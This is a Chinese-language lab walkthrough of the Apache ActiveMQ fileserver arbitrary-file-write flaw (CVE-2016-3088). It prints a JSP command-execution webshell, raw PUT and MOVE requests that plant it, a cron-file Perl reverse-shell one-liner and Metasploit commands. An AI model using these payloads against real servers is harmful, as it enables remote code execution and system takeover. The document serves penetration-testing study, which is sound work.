ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。
fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:
其使用率并不高
文件操作容易出现漏洞
1
2
所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启);在5.14.0版本以后,彻底删除了fileserver应用。
在测试过程中,可以关注ActiveMQ的版本,避免走弯路。
影响版本
Apache ActiveMQ 5.0.0 - 5.13.2
一、环境准备
![](https://file.jishuzhan.net/article/1778230905970626561/49331c48abf85af78ed9e67ece57d0d5.webp)
![](https://file.jishuzhan.net/article/1778230905970626561/137bd2a805cb4d3007359198803eb19a.webp)
![](https://file.jishuzhan.net/article/1778230905970626561/7f3e16202787ec25a68b349c84b882d3.webp)
二、漏洞利用
本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
文件写入有几种利用方法:
写入webshell
写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解
析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;
写入cron或ssh key等文件
写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需
要root权限;
写入jar或jetty.xml等库和配置文件
写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法
比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。
写入 webshell 复现
前文提到的限制问题[真实环境下需要获取管理员用户的账号密码],现在我们访问靶场的 ActiveMQ 后台[admin/admin],获取 activemq.home 的绝对路径
http://192.168.125.130:8161/admin/test/systemProperties.jsp
![](https://file.jishuzhan.net/article/1778230905970626561/296184cd4d0c4f9cfea471ad3f5a1999.webp)
![](https://file.jishuzhan.net/article/1778230905970626561/483b88da520c8c4de1e394a5ecc67555.webp)
![](https://file.jishuzhan.net/article/1778230905970626561/1599c8e3d4b6926e85954f917a83c872.webp)
前文提到的 "fileserver是储存文件的接口",此时我们访问 "fileserver"。 http://139.196.125.130:8161/fileserver/
同时,开启 Burp 的代理抓包,数据包如下图。
![](https://file.jishuzhan.net/article/1778230905970626561/3435a013cedfbad9d51bc7749eeaf847.webp)
http://192.168.125.130:8161/admin/fileserver/
![](https://file.jishuzhan.net/article/1778230905970626561/296fba5788b00e7b86c0527eb4cea307.webp)
此时需要将数据包头部的 GET 协议 改为 PUT协议,同时增加一个上传的文件名,并将之前准备好的后门代码写入数据包,利用 PUT 协议 将其上传至 fileserver 路径下。内容如下:
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>
![](https://file.jishuzhan.net/article/1778230905970626561/309e2be9773f3d0dc6a0898678baaa72.webp)
访问上传文件路径:http://192.168.125.130:8161/fileserver/1.txt
![](https://file.jishuzhan.net/article/1778230905970626561/daa4f11702ee6b0fd54867c4ce883318.webp)
因 "fileserver是储存文件的接口" 不具备可执行权限,我们还需要利用 MOVE 协议 将其移动至具有可执行权限的 admin 或者 api 路径下。
修改 数据包 如下 :
![](https://file.jishuzhan.net/article/1778230905970626561/e9a4c01e08366d8f531e65bbcb0aec1f.webp)
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/3.jsp
Host: 192.168.125.130:8161
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Cookie: JSESSIONID=1er3bgloumsek1cwy6qe0g1q4f; redirect=1
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
三、利用完成
![](https://file.jishuzhan.net/article/1778230905970626561/330a9f8267b7390985d9037a408d6375.webp)
利用 crontab 计划任务,自动反弹 shell
还是利用 "fileserver" 的数据包,将计划任务写入数据包
PUT /fileserver/1.txt HTTP/1.1
Host: 192.168.125.130:8161
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Cookie: JSESSIONID=1er3bgloumsek1cwy6qe0g1q4f; redirect=1
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 252
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.125.130";$p=12340;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
![](https://file.jishuzhan.net/article/1778230905970626561/643ab87b45a80b010f88acda62f52c32.webp)
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: 192.168.125.130:8161
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Cookie: JSESSIONID=1er3bgloumsek1cwy6qe0g1q4f; redirect=1
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
![](https://file.jishuzhan.net/article/1778230905970626561/45e2f33de24f31325bf607e39f670497.webp)
如果上述两个请求都返回204了,说明写入成功。等待反弹SHELL:
这个方法需要ACTIVEMQ是ROOT运行,否则也不能写入CRON文件.
利用MSF漏洞框架
search CVE-2016-3088(搜索漏洞利用模块)
use exploit/multi/http/apache_activemq_upload_jsp(使用模块)
set rhost 192.168.125.130(设置攻击目标)
exploit(执行)
![](https://file.jishuzhan.net/article/1778230905970626561/33b9266de9b7e1c2ce26985c4a087ff6.webp)